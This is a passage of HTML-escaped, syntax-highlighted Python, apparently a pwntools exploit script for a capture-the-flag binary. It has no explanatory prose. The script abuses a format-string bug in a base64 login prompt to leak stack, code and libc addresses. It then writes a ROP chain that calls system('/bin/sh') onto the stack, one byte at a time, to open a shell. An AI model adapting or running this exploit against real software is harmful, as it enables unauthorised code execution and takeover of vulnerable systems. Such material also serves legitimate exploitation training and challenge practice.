&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    sh.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Command: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;p64(addr))
&lt;&#x2F;span&gt;&lt;span&gt;    r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;sh.recvline()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1. Login&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(r,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).startswith(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0x&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(r,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        i_1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r.find(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1.&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        i_m&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r.find(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;m&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;i_1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;i_m&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(r[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:],&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;base&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;i_1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(r[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:i_m],&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;base&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;i_m&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(r[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:i_1],&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;base&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(r[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;min&lt;&#x2F;span&gt;&lt;span&gt;(i_1,i_m)],&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;base&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;r 
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;edit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;target_addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(val&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;i))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xff
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%6$hhn&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%6$hhn&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;        loginBase64(text)
&lt;&#x2F;span&gt;&lt;span&gt;        login(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rrrtql&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        start(target_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;editStr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;target&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(s)):
&lt;&#x2F;span&gt;&lt;span&gt;        text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(s[i]))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%6$hhn&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;        loginBase64(text)
&lt;&#x2F;span&gt;&lt;span&gt;        login(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rrrtql&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        start(target&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)
&lt;&#x2F;span&gt;&lt;span&gt;    loginBase64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%6$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    login(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rrrtql&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    start(target&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(s))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#泄露地址
&lt;&#x2F;span&gt;&lt;span&gt;loginBase64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;login(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rrrtql&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;got_stack_chk_fail_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;start()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8056
&lt;&#x2F;span&gt;&lt;span&gt;pop_rdi_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;got_stack_chk_fail_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3FA0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x173b
&lt;&#x2F;span&gt;&lt;span&gt;pop_2_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;pop_rdi_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x173b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1734&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 栈地址
&lt;&#x2F;span&gt;&lt;span&gt;loginBase64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%8$p&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;login(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rrrtql&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;stack_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;start()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#libc
&lt;&#x2F;span&gt;&lt;span&gt;loginBase64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%13$p&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;login(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rrrtql&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;libc_start_main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;start()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;DEBUG&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    libc_start_main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xf2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    libc_start_main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xf3
&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;__libc_start_main&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,libc_start_main_addr)
&lt;&#x2F;span&gt;&lt;span&gt;system_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;bin_sh_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;stack_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;edit(stack_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,pop_rdi_addr)
&lt;&#x2F;span&gt;&lt;span&gt;edit(stack_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;,bin_sh_addr)
&lt;&#x2F;span&gt;&lt;span&gt;edit(stack_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;,system_addr)
&lt;&#x2F;span&gt;&lt;span&gt;editStr(bin_sh_addr,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&#x2F;bin&#x2F;sh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(pop_2_addr))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;loginBase64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(pop_2_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xffff&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%6$hn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;login(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rrrtql&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
